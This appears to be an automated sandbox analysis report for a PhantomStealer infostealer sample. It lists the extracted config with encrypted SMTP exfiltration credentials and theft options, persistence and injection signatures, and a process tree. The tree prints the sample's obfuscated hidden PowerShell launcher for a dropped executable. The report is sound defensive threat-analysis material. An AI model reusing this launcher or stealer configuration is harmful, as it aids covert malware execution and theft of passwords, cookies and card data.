Analysis
- max time kernel
150s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 11:10
General
- Target 2005e8257e023866ba959ccce0797d43a7ff75d5fe38be827e3cf0a2f5aed544.exe
- Size 2.6MB
- Sample260910-m94dmav1bt
- SHA256 2005e8257e023866ba959ccce0797d43a7ff75d5fe38be827e3cf0a2f5aed544
Malware Config
Extracted
-
phantom_stealer
-
v4.0.0
-
Protocol
smtp
-
Host
CiEtqXAI6ia83CHdQ5WcfELCwSLFA2kH4ls60H154qtQAAAANtqpaSu+ei4rtYNuF3r88dqcNIHH4hHK11Fj3+jD0MRRt3Oy+QnzA02rJJ/XyGE0tAC1fhg386OS5pYQLFKWCgUtajGcUo+CgR8rAN2sykBGiS5sm9IX2yKRzmr8Z85A
-
Username
rSVV4rJj2OU6QPc48WJFmmh7ApkxhiD6AH3SPhgUrzVQAAAAWot5n3uz9slPVFjtK560cs5BbtX/S3G++gi19j7dDujuGxMO4SYpNfoZcLKgPEG47/jSAqndDXivnzHCWEI0oFAZEvDDckcel6KHhXpMeVc5R9gE5Gg34BjdmyvxvbUu
-
Password
xt9DYOW/TSOmujJlDYnZgkzZu6ACcK1VqLXR11zBjN9QAAAAPoKpfCymjizTepOuuavBjplAI3dOKeZ4RlYlPCSdy+oYhThSXsxxRFEdqNRnoE+CmwJGvvp8xiVwMBpYsX2SEg0EqQAE4szPDhieyahlRD1ViPC3pv7oxUFKdWIuGadd
-
Email to
O11tdpWvXxx7iXzgdD3A/Fthf+pHTI1/tx5Jm//iUeRQAAAAvWlU2gR30DYksDYv3lbbgyWvHnspkoeE6gaJXNgQd/ipP6Ub/mhHANsHdnwIzWAJWVVBCnVvcEmiW81LOWqIQGX/WuoR4j01g9YbqNaJJr/k+Ir+ZQvnxH3AObyyyf7qvFJT6KyB6d7aOamC9BhRoQ==
-
Protocol
ftp
-
Host
0
-
Username
0
-
Password
0
-
Q0BZWG7TWCOR74Y2OG6X
-
0
-
cookies
true
-
credit_cards
true
-
enable_ssl
true
-
keylogger
true
-
passwords
true
-
smtp_enabled
true
Signatures
- Family: PhantomStealer
Phantom Stealer is a stealer written in C#, forked from the Stealerium family.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2005e8257e023866ba959ccce0797d43a7ff75d5fe38be827e3cf0a2f5aed544.exe"C:\Users\Admin\AppData\Local\Temp\2005e8257e023866ba959ccce0797d43a7ff75d5fe38be827e3cf0a2f5aed544.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2005e8257e023866ba959ccce0797d43a7ff75d5fe38be827e3cf0a2f5aed544.exeC:\Users\Admin\AppData\Local\Temp\2005e8257e023866ba959ccce0797d43a7ff75d5fe38be827e3cf0a2f5aed544.exe2⤵
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$0vrow3=$env:COMPUTERNAME;$3lzfpf=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$shxenn=1598;$fr0zob=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHN5VC5leGU=')));$0vrow3=$env:COMPUTERNAME;& $3lzfpf -FilePath $fr0zob"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\syT.exe"C:\Users\Admin\AppData\Roaming\syT.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\syT.exeC:\Users\Admin\AppData\Roaming\syT.exe3⤵
- Executes dropped EXE
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
syT.exe
memory/3360-27-0x000001944FF20000-0x000001944FF32000-memory.dmp
memory/3804-6-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/3804-4-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/3804-3-0x00000270A8E20000-0x00000270A8E32000-memory.dmp
memory/3804-5-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/3804-2-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/3804-7-0x00000270C2720000-0x00000270C298E000-memory.dmp
memory/3804-0-0x00007FFC8914F000-0x00007FFC89150000-memory.dmp
memory/3804-9-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/3804-10-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/3804-11-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/3804-1-0x00000270A6E80000-0x00000270A7124000-memory.dmp
memory/5112-12-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/5112-17-0x000002BCB3790000-0x000002BCB37B2000-memory.dmp
memory/5112-16-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/5112-18-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/5112-19-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/5112-20-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/5112-21-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/5112-22-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/5112-23-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/5112-13-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/5112-26-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/6096-8-0x0000000140000000-0x00000001401D0000-memory.dmp